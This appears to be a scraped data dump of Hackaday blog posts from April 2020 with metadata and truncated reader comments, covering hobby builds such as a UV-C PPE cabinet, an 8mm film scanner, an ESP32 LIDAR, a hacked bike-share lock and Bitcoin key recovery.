You do your shouting into the other end, and your sound waves vibrate the membrane. The piezo picks up the vibrations and sends them to a 1/4″ jack so you can plug it into an amp.
Even if you are somehow sidestepping the blues, you can always use this to yell at people who threaten to get too close to you. This fun project is about as open as it gets, but we’re sure that you can think of ways around using a piezo disk. Let us know in the comments after you check out [Ham-made]’s music video.
We like [Ham-made]’s method for cutting down the juice jug without cutting into yourself. Just clamp a razor blade into your vise and move jug against it. Reminds us of another way to
easily reuse plastic soda bottles by making them into rope
. | 15 | 7 | [
{
"comment_id": "6236550",
"author": "Michael Black",
"timestamp": "2020-04-12T17:20:42",
"content": "I have loads of electret microphones, taken out of tape recorders, cordless phones, I can’t remember what else.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id"... | 1,760,373,523.036769 | ||
https://hackaday.com/2020/04/12/disinfect-ppe-on-the-cheap-with-this-hardware-store-uv-c-cabinet/ | Disinfect PPE On The Cheap With This Hardware Store UV-C Cabinet | Dan Maloney | [
"Medical Hacks"
] | [
"Covid-19",
"disinfect",
"germicidal",
"interlock",
"microbe",
"UV-C",
"virus"
] | The current situation has given closet germaphobes the world over a chance to get out there and clean the hell out of everything. Some of it may be overdone; we ourselves can cop to a certain excess as we wipe down cans and boxes when returning from a run to the grocery store. But sometimes disinfection is clearly indicated, and having an easy way to kill the bugs on things like face masks can make a big difference by extending the life of something that would normally be disposable. That’s where
this quick and easy UV-C germicidal cabinet
really shines.
The idea behind [Deeplocal]’s “YouVee” is to be something that can be quickly cobbled together from parts that can be picked up at any big-box home store, thereby limiting the number of trips out. You might even have everything needed already, which would make this a super simple build. The business end is a UV-C germicidal fluorescent lamp, of the kind used in clarifiers for backyard ponds. A fluorescent droplight is modified to accept the lamp by snipping off a bit of plastic, and the lamp is attached to the inside of the lid of a sturdy black plastic tote. The interior of the tote is lined with aluminum tape and a stand for items to be disinfected is made from a paint roller screen. The clever bit is the safety interlock; to prevent exposure to UV, the lamp needs to be unplugged before removing the lid. Check out
the full build tutorial
for details.
We can’t vouch for YouVee’s germicidal efficacy, but it seems like a solid design. If you have doubts, you could always
measure the UV-C flux easily
, or you could build a smaller version of
this peroxide vapor PPE sterilizer
, just to be sure. | 91 | 24 | [
{
"comment_id": "6236497",
"author": "Jsp",
"timestamp": "2020-04-12T14:14:03",
"content": "I’m afraid this is actually worse than useless for masks. UV-C requires line of sight. The filter medium requires a convoluted path. The convoluted path blocks line of sight.If you use this on a mask, you cou... | 1,760,373,523.617906 | ||
https://hackaday.com/2020/04/12/clever-suction-for-robot-arm-automates-face-shield-production/ | Clever Suction For Robot Arm Automates Face Shield Production | Mike Szczys | [
"Robots Hacks"
] | [
"automated",
"Covid-19",
"dexter",
"face shields",
"haddington dynamics",
"manufacturing",
"PPE"
] | We’re certainly familiar with vacuum grabbers used in manufacturing to pick items up, but this is a bit different. [James Wigglesworth] sent in some renders and demo video (embedded after the break) of the Dexter robot arm and a laser cutter automatically producing face shields.
It’s a nice little bit of automation, where you can see a roll of plastic on the right side of the Glowforge laser cutter feeding into the machine. Once the laser does its thing, the the robot arm reaches in and grabs the newly cut face shield and stacks it in a box neatly for future assembly. There are a lot of interesting parts here, but the fact that the vacuum grabber is doing it’s job without a vacuum air supply is the one we have our eye on.
The vacuum comes from a corrugated sleeve that makes up the suction cup on the end of the robot arm. A rubber band holds
a hinged piece over a valve on that sleeve that can be opened or closed by a servo motor
. When the cuff is compressed against the face shield, the servo closes the valve, using the tape as a gasket, and the corrugated nature of the cuff creates a vacuum due to the weight of the item it is lifting. This means you don’t need a vacuum source plumbed into the robot, just a wire to power the servo.
The robot arm is of course
the design that won the 2018 Hackaday Prize
. I comes as no surprise to see the Haddington Dynamics crew setting up a manufacturing line like this one. As we discovered a few weeks ago,
3D printers, laser cutters, and robot arms are part of their microfactory setup
and well suited to making PPE to help reduce the shortage during the COVID-19 outbreak.
| 9 | 3 | [
{
"comment_id": "6236495",
"author": "Foldi-One",
"timestamp": "2020-04-12T13:56:06",
"content": "With how the suction cup works I’d have thought a bi-stable Solenoid mechanism is a better solution than a servo for it. But still neat project on many fronts. Its nice to see smaller robot arms do some... | 1,760,373,523.205 | ||
https://hackaday.com/2020/04/12/8mm-film-scanner-grows-into-a-masterpiece/ | 8mm Film Scanner Grows Into A Masterpiece | Mike Szczys | [
"digital cameras hacks"
] | [
"8mm",
"dslr",
"film scanner"
] | Digitizing film is a tedious process that becomes a lot more fun if you spend more of your time building a digitizer and less time actually working working with old film. [Heikki Hietala] has been at it for years and
his Kotokino Mark IV film scanner
is a masterpiece of simple machine building.
Since
we first saw the film scanner four years ago
it’s undergone a number of excellent improvements. Most notably, the point-and-shoot camera has been swapped out for a DSLR. With the use of a macro reversing ring a normal lens is flipped around to blow up the 8-millimeter-wide film to take advantage of all the megapixels available on the camera sensor.
The key to the setup is the film advancer mechanism which takes care of both advancing the film and triggering the camera. As you can see, a servo motor rotating an axle provides the locomotion. The mechanism keys into the perforations in the film to pull it along on the down stroke and closes a switch to trigger the camera on the upstroke. Directly under the lens, the alignment jig uses lens cleaning fabric to avoid scratching the film, while perfectly positioning it over the light source.
Previous versions have placed the camera on the horizontal plane but it seems some vibrations in the system caused alignment problems between captured frames. This latest version places the camera pointed straight down to solve that issue, and brings the entire thing together into one beautiful finished project. Having gathered numerous fans of the build along the way, [Heikki] has made the design files available so that you may build your own version. | 73 | 8 | [
{
"comment_id": "6236464",
"author": "doppler",
"timestamp": "2020-04-12T10:54:33",
"content": "The clothes pin nice touch for a striking lever, very MacGyver. I would note a raspberry PI with a PI camera would be a cheaper choice for the media recorder. Arduino is nice and cheap. But the raspber... | 1,760,373,523.387303 | ||
https://hackaday.com/2020/04/11/software-defined-radio-made-easy/ | Software-Defined Radio Made Easy | Bryan Cockfield | [
"Radio Hacks"
] | [
"custom",
"debian",
"dragonos",
"linux",
"radio",
"sdr",
"software",
"software-defined radio"
] | Just a few decades ago, getting into hobby radio meant lots of specialty hardware, and making changes to your setup to work on various frequencies wasn’t particularly easy. Since software-defined radio (SDR) came onto the scene in an accessible way for most of us, this barrier to entry was reduced significantly and made the process of getting on the air a lot easier. It goes without saying that it does require some software, but [Aaron]’s
latest project makes even getting that software extremely simple
.
What he has done is created a custom Linux distribution based on Debian, called DragonOS, with the entire suite of SDR programs needed to get up and running. Out of the box, it supports RTL-SDR, HackRF and LimeSDR packages and even includes other fun tools you’ll need like Kismet. There are several video demonstrations of his distribution, including using RTL-SDR for ADS-B reception, and also shows off several custom implementations of the OS in various scenarios on
his YouTube channel
. The video linked below also shows how to set up the distribution in a virtual machine, so you can run this even if you don’t have a computer to dedicate to SDR.
Getting into SDR has never been easier, and the odds of having something floating around in the junk drawer that you can use to get started are pretty high. The process is exceptionally streamlined with [Aaron]’s software suite. If you’re a little short on hardware, though, there’s no better place to get started than with the classic
TV-tuner-to-SDR hack
from a few years back. | 25 | 8 | [
{
"comment_id": "6236457",
"author": "ITWxObserver",
"timestamp": "2020-04-12T08:12:36",
"content": "This is a fast moving project. The latest ISOs are here:https://sourceforge.net/projects/dragonos-lts/files/. Check out the YouTube channel here:https://www.youtube.com/channel/UC9U2kaqhE716J2WNSTc... | 1,760,373,523.447135 | ||
https://hackaday.com/2020/04/11/100k-to-crack-a-bitcoin-wallet/ | $100k To Crack A Bitcoin Wallet | Bryan Cockfield | [
"Security Hacks"
] | [
"bitcoin",
"crack",
"cryptography",
"password",
"private key",
"recovery"
] | When Bitcoin peaked a few years ago, with single coins reaching around $18,000 USD, heartbreaking stories began circulating about people who had tens or hundreds of coins they mined in the early days when coins were worth just a few dollars or cents. Since then, they owners of these coins had lost the private key, or simply thrown away the drive or computer the coins were on. It’s next to impossible to recover this key in most situations,
but for the right amount of money it can sometimes be done
.
About 20 years ago, [Mike] was working as a cryptography expert and developed a number of interesting algorithms for breaking various forms of encryption, one of which involved
.zip
files with poor entropy. A Bitcoin owner stumbled across the paper that [Mike] wrote and realized that it could be a method for recovering his lost key from 2016. [Mike] said it would take a GPU farm and $100,000 USD, but when the owner paid the seemingly enormous price [Mike] was able to recover around $300,000 worth of Bitcoin.
While this might not be financially feasible for you if you have a USB stick with a single coin on it you mined as a curiosity in 2010, the cryptography that is discussed in the blog entry is the real story here. We never know where the solutions to our problems are going to come from, like a random
.zip
file exploitation from two decades ago, but we can be sure that
in the future it will be much easier to crack these keys
.
Thanks to [Darmstatium] for the tip! | 43 | 10 | [
{
"comment_id": "6236405",
"author": "RW ver 0.0.3",
"timestamp": "2020-04-12T02:10:24",
"content": "Cracking a bitcoin wallet has a specific meaning, this did not do that, it recovered keys stored in a zip file using a known attack against encrypted zip files.",
"parent_id": null,
"depth": ... | 1,760,373,523.282994 | ||
https://hackaday.com/2020/04/11/bike-lock-secures-car/ | Bike Lock Secures Car | Bryan Cockfield | [
"ARM"
] | [
"arm",
"bicycle",
"bike",
"bike share",
"cellular",
"gps",
"lock",
"reverse engineering",
"theft",
"tracker"
] | [Buttim] loses his car a lot, which might sound a little bit like the plot from an early-00s movie, but he assures us that it’s a common enough thing. In a big city, and after several days of not driving one’s car, it can be possible to at least forget where you parked. There are a lot of ways of solving this problem, but the solution almost fell right into his lap:
repurposing a lock from a bike share bicycle
. (The build is in three parts:
Part 2
and
Part 3.
)
These locks are loaded with features, like GPS, a cellular modem, accelerometers, and in this case, an ARM processor. It took a huge amount of work for [Buttim] to get anything to work on the device, but after using a vulnerability to dump the firmware and load his own code on the device, spending an enormous amount of time trying to figure out where all the circuit traces went through layers of insulation intended to harden the lock from humidity, and building his own Python-based programmer for it, he has basically free reign over the device.
To that end, once he figured out how it all worked, he put it to use in his car. The device functions as a GPS tracker and reports its location over the cellular network so it can’t become lost again. As a bonus, he was able to use the accelerometers to alert him if his car was moving without him knowing, so it turned into a theft deterrent as well. Besides that, though, his ability to get into the device’s firmware reminded us of a recent attempt to
get access to an ARM platform
. | 13 | 5 | [
{
"comment_id": "6236383",
"author": "RW ver 0.0.1",
"timestamp": "2020-04-11T23:07:06",
"content": "It’s rein as in giving the horse enough rein to do what it wants.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6236386",
"author": "DC",
"timestamp":... | 1,760,373,523.497958 | ||
https://hackaday.com/2020/04/11/unique-musical-instrument-defies-description/ | Unique Musical Instrument Defies Description | Dan Maloney | [
"Musical Hacks"
] | [
"arduino",
"fret",
"guitar",
"harp",
"midi",
"nano",
"plectrum",
"pluck",
"servo",
"solenoid",
"string",
"Teensy"
] | Since the first of our ancestors discovered that banging a stick on a hollow log makes a jolly sound, we hominids have been finding new and unusual ways to make music. We haven’t come close to tapping out the potential for novel instruments, but then again it’s not every day that we come across a unique instrument and a new sound, as is the case with
this string-plucking robot harp
.
Named “Greg’s Harp” after builder [Frank Piesik]’s friend [Gregor], this three-stringed instrument almost defies classification. It’s sort of like a harp, but different, and sort of like an electric guitar, but not quite. Each steel string has three different ways to be played: what [Frank] calls “KickUps”, which are solenoids that strike the strings; an “eBow” coil stimulator; and a small motor with plastic plectra that pluck the strings. Each creates a unique sound at the fundamental frequency of the string, while servo-controlled hoops around each string serve as a robotic fretboard to change the notes. Sound is picked up by piezo transducers, and everything is controlled by a pair of Nanos and a Teensy, which takes care of MIDI duties.
Check out the video below and see if you find the sound both familiar and completely new. We’ve been featuring unique instruments builds forever, from
not-quite-violins
to
self-playing kalimbas
to
the Theremincello
, but we still find this one enchanting. | 17 | 12 | [
{
"comment_id": "6236364",
"author": "Gerhard",
"timestamp": "2020-04-11T20:46:21",
"content": "Reminds me of a Pat Metheny Gig I attended a few years ago. It featured his “Orchestrion” project (a great number of simultaneously solenoid-played instruments).https://youtu.be/KsYEOUKS4Yk",
"parent_... | 1,760,373,523.666684 | ||
https://hackaday.com/2020/04/11/lidar-built-on-familiar-platform/ | LIDAR Built On Familiar Platform | Bryan Cockfield | [
"Laser Hacks"
] | [
"demo",
"education",
"ESP32",
"html5",
"inexpensive",
"lidar",
"servo",
"small"
] | Moore’s law may have reached its physical limit for transistor density, but plenty of other technologies are still on that familiar path of getting smaller and smaller as time passes. It looks like LIDAR is no exception to this trend either. This project from [Owen] shows a fully-functional LIDAR system for about $20 and built almost entirely on top of an ESP32.
The build uses a Time-Of-Flight IR laser range sensor controlled by the ESP32, and the sensor is much smaller than even the ESP32’s footprint so it takes up very little extra space. To get it to function as a LIDAR system instead of just a simple rangefinder it does need a motor in order to rotate itself to see its entire space. Besides its small form factor and low cost, it also has a handy user interface that can run anywhere an HTML5 browser can run, making the use of the system easy and straightforward as well. All of the code is available on the
project’s GitHub page
.
We wouldn’t expect a system like this to be driving an autonomous car anytime soon, it’s update rate is far too slow, but its intent for small robots and even as an educational demo for learning LIDAR is second to none. If you do need a little more power in a LIDAR system but still don’t want to break the bank, we featured
this impressive setup
a few weeks ago. | 7 | 3 | [
{
"comment_id": "6236336",
"author": "st2000",
"timestamp": "2020-04-11T18:20:12",
"content": "Is the CJMCU-531 a true Time Of Flight sensor (should be able to see multiple reflections)? Or is this one of those Phase sensors (only can see the most prominent reflection)? I ask as some of my interes... | 1,760,373,523.705595 | ||
https://hackaday.com/2020/04/11/table-tennis-ball-lamp-serves-up-style/ | Table Tennis Ball Lamp Serves Up Style | Kristina Panos | [
"LED Hacks"
] | [
"ESP8266",
"NodeMCU",
"ping pong ball",
"RGB lamp",
"RGB LED"
] | Although RGB LEDs diffused by ping pong balls will probably never stop being cool, [thomasj152] feels that flat panels of balls have become a bit of a tired concept.
After a lot of effort and two complete builds, he has spun up an 80-ball spherical lamp
. The results are positively glowing!
All the balls are connected together with some clever 3D printed pieces that were inspired by the classic soccer ball layout of hexagons and pentagons. [thomasj152] chose this shape because it’s fairly easy to code animation sequences for it.
The design also breaks down nicely into two halves, which makes it easier to wire. All 80 of the balls are controlled with a single NodeMCU ESP8266 development board.
This stranded version is the second lamp [thomasj152] built. The first one used the same soccer ball style, but had RGB LED strips instead, and the balls were wrangled with laser-cut support pieces. Strips lay much flatter than strands do, leaving the inside tidy and spacious. Unfortunately, the LED strips got fried accidentally, which is extra sad because the strips version looks like way more work.
The bright spot here is that [thomasj152] can now provide instructions for both versions. He even has code that cycles through each pentagon and hexagon section, lighting them up one at a time for testing and sanity checks. Roll past the break for a walk-through video that shows both versions and explains the differences.
Got a bunch of wall space begging for blinkenlights?
Apparently it’s possible to throw together a working 300-ball video wall in less than 24 hours
. Who knew?
Via
r/arduino | 5 | 4 | [
{
"comment_id": "6236302",
"author": "john sikorski",
"timestamp": "2020-04-11T14:30:58",
"content": "Add a few “spikes”, hook it up to the Johns Hopkins website and use the colors to track the waxing ang waning of COVID 19!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"co... | 1,760,373,523.750282 | ||
https://hackaday.com/2020/04/11/the-key-to-this-city-opens-a-real-lock/ | The Key To This City Opens A Real Lock | Jenny List | [
"lockpicking hacks"
] | [
"lock",
"pin tumbler lock",
"woodworking"
] | There are few more satisfying moments than the first time you pick a lock. No matter that it’s a dollar-store padlock that you opened with a pick from a $10 eBay kit, the magic of something that should be secure clicking open in the palm of your hand is hard to beat. Pin tumbler locks are surprisingly simple devices, and to demonstrate this [Farmcraft 101]
has produced one at 10x scale
to demonstrate their operation on the bench.
The video is a delightful exercise in wood-shop voyerism, as we see him construct the various parts of the lock using his lathe and other workshop tools. A key of the size usually reserved for Freedom Of The City is made, but this one really does slide into the keyway and operate those pins. At the back is a latch mechanism, and the result is a fully-functional model that anyone should be able to use to figure out how the lock works.
Thelock itself isn’t the whole story though, because given the date he’s used it as the basis for a cracking April Fool in which he sends up the [Lock Picking Lawyer] and proceeds to demonstrate the glaring insecurities in his creation. Both videos are there for your enjoyment, below the break. And if you can’t wait to have a go at a lock or two, don’t forget you can always
make your own tools using paperclips
.
[Ed note: streetcleaner bristles. Thank me later.]
Thanks [Sebastian] for the tip! | 6 | 6 | [
{
"comment_id": "6236270",
"author": "Josh Bensadon",
"timestamp": "2020-04-11T12:12:05",
"content": "Wow, that’s a sad April fools joke, but you got me! Just the same, I don’t like the video and won’t subscribe. But I think that novelty lock is very cool!",
"parent_id": null,
"depth": 1,
... | 1,760,373,523.79082 | ||
https://hackaday.com/2020/04/11/harvesting-energy-from-ambient-moisture/ | Harvesting Energy From Ambient Moisture | Danie Conradie | [
"Science",
"Tech Hacks"
] | [
"Electricity generation",
"humidity",
"power generation"
] | Generating electricity out of thin air is the fantasy for our modern technology dependant world, but still falls squarely in the world of science fiction. However, researchers from the University of Massachusetts Amherst claim that they have found a way to do exactly that, using protein nano-wires to
produce tiny amounts of electricity from ambient humidity
.
The protein nano-wires in question are harvested from the microbe
Geobacter sulfurreducens,
to create a 7 µm thick film that is placed between two gold electrodes. One electrode completely covers the back of the film, while the front electrode covers only a tiny portion of the surface area. When the film is exposed ambient moisture, researchers measured 0.4 V – 0.6 V produced continuously for more than two months. The current density was about 17 µA/cm². This is only a fraction of the output of a commercial solar panel, but it can be layered with air gaps in between. The electricity is supposedly produced due to a moisture gradient through the thickness of the film. Harvesting energy using ambient humidity is not new, but the improvement in power density on this study is at least two orders of magnitude larger than that of previous studies.
The researches have named the technology
Air-Gen
and hope to develop it commercially. As we have seen
many times
before, promising lab results often don’t translate well into real world products, but this technology is definitely interesting.
We’ll continue to see all sorts of weird and wonderful ways to free up electrons, like using
sweat
, but we’ll have to wait and see what sticks.
Thanks for the tip [William Polo]! | 24 | 9 | [
{
"comment_id": "6236246",
"author": "Gregg Eshelman",
"timestamp": "2020-04-11T10:27:58",
"content": "I expect that mineral deposits that either insulate or short circuit the thing will make it unworkable in real world use.",
"parent_id": null,
"depth": 1,
"replies": [
{
"... | 1,760,373,523.844131 | ||
https://hackaday.com/2020/04/10/planetary-gears-tell-time-in-this-ornamental-clock/ | Planetary Gears Tell Time In This Ornamental Clock | Moritz v. Sivers | [
"clock hacks"
] | [
"clock",
"laser cutter",
"planetary gear"
] | A clock is perhaps one of the the most popular projects among makers. Most designs we see are purely electronic and do not bother with the often more complicated mechanical part. Instructables user [Looman_projects] though was not afraid of calculating gear ratios and tooth counts for his
planetary gear clock
.
As shown in the picture, a planetary gear, also known as epicyclic gear, consists of three parts: a central sun gear, planetary gears moving around the sun gear and an outer ring with inward-facing teeth holding it all together. The mechanism dates back to ancient Greece but is still being used in car transmissions and has become quite popular in 3D printing. In his instructable [Looman_projects] has some useful inlinks including an
explanation video
of how planetary gear sets work and a
website
helping you to calculate the tooth counts for specific gear ratios. It is also noteworthy that he tried to cut the gears from aluminum with a waterjet which unfortunately failed because the parts were too small. What makes the clock visually stand out is the beautiful ornamental see-through design of the dial plate and hands made from laser-cut wood. Despite the mechanical gearbox, it is not surprising that the driving mechanism is based on ubiquitous pieces of digital electronics including an Arduino Nano, DS3231 RTC module, and a stepper motor. To avoid a cabling mess [Looman_projects] designed a custom PCB that interconnects all the electronics and says he even got some spare PCBs left for people interested in rebuilding the clock.
Actually, this is not the first
laser-cut planetary gear clock
that we have seen. In case you are wondering about the advantages of planetary gearboxes, you might want to check out how a
3D printed version is lifting an anvil
. | 8 | 5 | [
{
"comment_id": "6236217",
"author": "Shannon",
"timestamp": "2020-04-11T06:00:05",
"content": "I love it, and am now very tempted to make one.The video itches my brain somewhat because the minute hand and the hour hand disagree about when they’re on the hour.",
"parent_id": null,
"depth": 1... | 1,760,373,524.200157 | ||
https://hackaday.com/2020/04/10/background-substitution-no-green-screen-required/ | Background Substitution, No Green Screen Required | Dan Maloney | [
"Video Hacks"
] | [
"background",
"chroma key",
"green screen",
"opencv",
"semantic segmentation",
"Tensorflow Lite",
"V42L2",
"video conference"
] | All this working from home that people have been doing has a natural but unintended consequence: revealing your dirty little domestic secrets on a video conference. Face time can come at a high price if the only room you have available for work is the bedroom, with piles of dirty laundry or perhaps the incriminating contents of one’s nightstand on full display for your coworkers.
There has to be a tech fix for this problem, and many of the commercial video conferencing platforms support virtual backgrounds. But [Florian Echtler] would rather air his dirty laundry than go near Zoom, so he built
a machine-learning background substitution app
that works with just about any video conferencing platform. Awkwardly dubbed DeepBackSub — he’s working on a better name — the system does the hard work of finding the person in the frame with Tensorflow Lite. After identifying everything in the frame that’s a person, OpenCV replaces everything that’s not with whatever you choose, and the modified scene is piped over a virtual video device to the videoconferencing software. He’s tested on Firefox, Skype, and guvcview so far, all running on Linux. The resolution and framerates are limited, but such is the cost of keeping your secrets and establishing a firm boundary between work life and home life.
[Florian] has taken the need for a green screen out of what’s formally known as chroma key compositing, which
[Tom Scott] did a great primer on
a few years back. A physical green screen is the traditional way to do this, but we honestly think this technique is great and can’t wait to try it out with our Hackaday colleagues at the weekly videoconference. | 28 | 15 | [
{
"comment_id": "6236186",
"author": "Gregg Eshelman",
"timestamp": "2020-04-11T02:18:25",
"content": "With technology like this, deep fake, realtime motion capture to high resolution CG human animation and more, it’s doing what John Brunner had in “The Jagged Orbit” (published 1969) to fake a video... | 1,760,373,524.052765 | ||
https://hackaday.com/2020/04/10/seven-segment-single-steps-through-the-time/ | Seven-Segment Single-Steps Through The Time | Kristina Panos | [
"Arduino Hacks",
"clock hacks"
] | [
"7 segment LED display",
"arduino",
"DS3231 RTC",
"leds",
"single digit clock"
] | Have you ever looked at the time, and then had to look again because it just didn’t register? This phenomenon seems more prevalent with phone timepieces, but it’s been known to happen with standard wall clocks, too. This latest offering in a stream of unusual clocks fashioned by [mircemk] solves that problem
by forcing the viewer to pay attention as the time flashes by in a series of single digits, separated by a hyphen
.
Inside the boxy blue base is an Arduino Nano, a DS3231 real-time clock module, and a perfboard full of transistors for switching the LED strips inside the segments. There’s an LED on the front that blinks the seconds, and honestly, we’re kind of on the fence about this part. It would be nice if it faded in and out, or was otherwise a little less distracting, but it did grow on us as we watched the demo.
We love the way this clock celebrates the seven-segment display, and only wish it were much bigger. The STLs and code are available if you want to make one, though they only cover the 7-segment part — the base is made of foam board. Check out the demo and build video after the break.
Would you rather hear the time go by in gentle chimes?
Here’s chime clock that uses old hard drive actuators
. | 9 | 3 | [
{
"comment_id": "6236167",
"author": "Alejandro Segade",
"timestamp": "2020-04-10T23:58:21",
"content": "Nice and simple.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6236173",
"author": "Hirudinea",
"timestamp": "2020-04-11T00:40:17",
"content":... | 1,760,373,524.239548 | ||
https://hackaday.com/2020/04/10/classic-leica-film-camera-turns-digital/ | Classic Leica Film Camera Turns Digital | Bryan Cockfield | [
"digital cameras hacks",
"News"
] | [
"aps-c",
"camera",
"conversion",
"digital",
"film",
"full frame",
"leica",
"m3",
"sony"
] | While there’s still a market for older analog devices such as vinyl records, clocks, and vacuum-tube-powered radio transmitters, a large fraction of these things have become largely digital over the years. There is a certain feel to older devices though which some prefer over their newer, digital counterparts. This is true of the camera world as well, where some still take pictures on film and develop in darkrooms, but if this is too much of a hassle, yet you still appreciate older analog cameras, then
this Leica film camera converted to digital might just attract your focus
.
This modification comes in two varieties for users with slightly different preferences. One uses a Sony NEX-5 sensor which clips onto the camera and preserves almost all of the inner workings, and the aesthetic, of the original. This sensor isn’t full-frame though, so if that’s a requirement the second option is one with an A7 sensor which requires extensive camera modification (but still preserves the original rangefinder, an almost $700 part even today). Each one has taken care of all of the new digital workings without a screen, with the original film advance, shutters, and other HIDs of their time modified for the new digital world.
The finish of these cameras is exceptional, with every detail considered. The plans aren’t open source, but we have a hard time taking issue with that for the artistry this particular build. This is a
modification done to a lot of cameras
, but seldom with so much attention paid to the “feel” of the original camera.
Thanks to [Johannes] for the tip! | 36 | 13 | [
{
"comment_id": "6236146",
"author": "Alex99a",
"timestamp": "2020-04-10T21:13:57",
"content": "Another piece of classic kit butchered. At least they didn’t shove a Pi into it.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6236149",
"author": "Moryc... | 1,760,373,524.522178 | ||
https://hackaday.com/2020/04/10/plasma-cutter-sharpie-is-surprisingly-useful/ | Plasma Cutter + Sharpie Is Surprisingly Useful | Al Williams | [
"3d Printer hacks",
"cnc hacks"
] | [
"plasma cutter",
"plotter"
] | What we want is a Star Trek-style replicator. What we have are a bunch of different machines that can spew out various 2D and 3D shapes. For the foreseeable future, you’ll still need to post-process most of what you build in some way. [Stuff Made Here] had a challenge. He often uses his plasma cutter to create complex sheet metal items. But the cutter is two dimensional so the piece doesn’t look right until you bend it at just the right places. If you are doing a simple box, it is easy to figure out, but getting just the right spot on a complex bend can be a challenge. His answer? Attach a marker to the gantry so the machine can draw the lines right on the sheet metal.
Sounds easy and if you were willing to do a pen pass separately and then remove the pen and do the plasma cutting it would be relatively easy. However, that seems kind of crude. Mounting it permanently requires a way to raise it up when cutting — and it needs to survive the noisy environment near the torch. The pen would also dry out if you left in uncapped. The answer was using a permanent marker with a click retractor and let the mechanism extend and retract the pen point on command.
The torch uses an air system to raise and lower the torch. The mechanism for the pen uses two valve and two springs to allow the pen to go up and down appropriately. There don’t seem to be any exact plans, but your cutter will be different, anyway, and anyone who is using a plasma cutter ought to be able to figure it out from the explanation on the video.
The results look good and it is surprisingly useful to have marks drawn on the flat pieces, especially for bend lines. If you are lacking the cutter, we’ve
seen many builds
in the past. You might also get some ideas from
pen plotter builds
, just remember the unfriendly electrical environment around the torch. | 14 | 8 | [
{
"comment_id": "6236127",
"author": "Sven H",
"timestamp": "2020-04-10T19:05:56",
"content": "Well done. I made a laser and pen plotter in the cheap version – action starts at 1:06 :https://youtu.be/Ebe2kFlE058",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": ... | 1,760,373,524.287509 | ||
https://hackaday.com/2020/04/10/covid-19-and-the-state-of-the-climate/ | COVID-19 And The State Of The Climate | Lewin Day | [
"Current Events",
"Featured",
"Science",
"Slider"
] | [
"climate change",
"coronavirus",
"Covid-19"
] | The novel coronavirus sweeping the globe has led governments to institute widespread quarantines to stem the spread. Many industries have slowed production or shutdown entirely, and economic activity has slowed to a crawl. This has naturally led to a sudden reduction in greenhouse gas emissions. But how great will the effect be, and will it buy us any real time?
On The Ground
Nitrogen dioxide levels in China have dropped sharply with the reduction in industrial activity due to COVID-19. Image source: NASA
In the wake of COVID-19, good news stories have sprung up as people look for a silver lining. Unfortunately, these stories aren’t always true.
There aren’t dolphins in the waters of Venice,
though the water has cleared due to reduced boat activity. And drunken elephants did not begin roaming the mountains of China.
Despite this, there have been notable reductions in emissions in several areas due to government-mandated lockdowns.
Northern Italy is seeing a much lower concentration of nitrogen dioxide
, likely due to reduced industrial and vehicular activity.
Carbon monoxide levels have similarly dropped in New York
, while
China has seen its carbon emissions temporarily drop by a full 25%.
On the surface of it, these are all promising numbers. Many are cautiously optimistic that this could be a major development to help stave off the worst of climate change for a little longer. Nonetheless, it’s early days yet, and what happens after the crisis passes is just as important as what’s happening now.
Similar Situations – Similar Results
A model comparing GDP and carbon dioxide output, which accounts for the improved carbon efficiency in the global economy over time.
The most relevant comparison with the current situation would be the 2007/2008 Global Financial Crisis. Due to reduced economic activity,
the world’s total Gross Domestic Product contracted by 0.1%,
and
emissions output dropped by 1.3%.
Following years led to a rapid increase as economic activity picked up,
with 2010 reaching an all time high.
While the current situation is fluid and changing rapidly, OECD worst-case predictions are that the global economy will continue to grow,
albeit at a reduced rate of just 1.5 this year.
This is due to widespread job losses, and the slowdown and shutdown of many industries. Modelling based on this data from Glen Peters suggests that
this could lead to an emissions reduction of up to 1.2%.
Air travel usually accounts for around 2.5% of global carbon dioxide emissions. With most international air travel cancelled due to COVID-19, it’s likely this number will change in 2020.
There’s scope for these numbers to change drastically in the coming months. Unease in global markets could lead to further issues with liquidity, or a resurgence of the virus could extend lockdowns, keeping industries closed for a longer period of time. Alternative modelling may show that the reductions in air transport and vehicle use may have a larger effect than first anticipated. At the same time, the crisis may also hold up work on projects that aim to reduce emissions, negating expected gains in carbon efficiency going forward. As it stands, the best guess we have shows a significant, but small, reduction in emissions this year.
Is It Enough?
In 2018,
the UN warned that we had just 12 years left to put a stop to the worst effects of climate change.
At the time, the goal was to reduce carbon pollution by 45% by 2030, dropping down to net zero by 2050. Given that sweeping lockdowns of entire cities at a time, along with massive reductions in all international air travel, is only netting us 1.2%, it’s clear that a worldwide epidemic is not the silver bullet that will solve climate change once and for all.
The goals put in place by the UN may seem lofty, particularly when even a global pandemic barely makes a dent. Notwithstanding, they are achievable with the technology we have available. The only requirement is
we invest $300 billion to achieve it.
In a time of turmoil, with unemployment spiraling ever higher and a new disease threatening the health of the world, this may seem like an impossible sum. However, given the recent expenditures governments have made in the name of economic stimulus,
well into the trillions of dollars
, it’s unlikely the citizens of the world will continue to accept affordability as an excuse. | 48 | 19 | [
{
"comment_id": "6236095",
"author": "Alexander Wikström",
"timestamp": "2020-04-10T17:15:41",
"content": "The pandemic is indeed far from a silver bullet.If governments the world over put their money on not just stimulating the economy, but by stuffing money into environmentally sustainable project... | 1,760,373,524.449643 | ||
https://hackaday.com/2020/04/10/hackaday-podcast-062-tripping-batteries-ventilator-design-stinky-prints-and-simon-says-servos/ | Hackaday Podcast 062: Tripping Batteries, Ventilator Design, Stinky Prints, And Simon Says Servos | Mike Szczys | [
"Hackaday Columns",
"Podcasts"
] | [
"3D resin printer",
"Hackaday Podcast",
"jtag",
"lithium battery",
"servo motors",
"ventilator"
] | Hackaday editors Elliot Williams and Mike Szczys check out the week’s awesome hacks. From the mundane of RC controlled TP to a comprehensive look into JTAG for Hackers, there’s something for everyone. We discuss a great guide on the smelly business of resin printing, and look at the misuse of lithium battery protection circuits. There’s a trainable servo, star-tracking space probes, and a deep dive into why bootstrapped ventilator designs are hard.
Take a look at the links below if you want to follow along, and as always tell us what you think about this episode in the comments!
Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Direct download
(60 MB or so.)
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
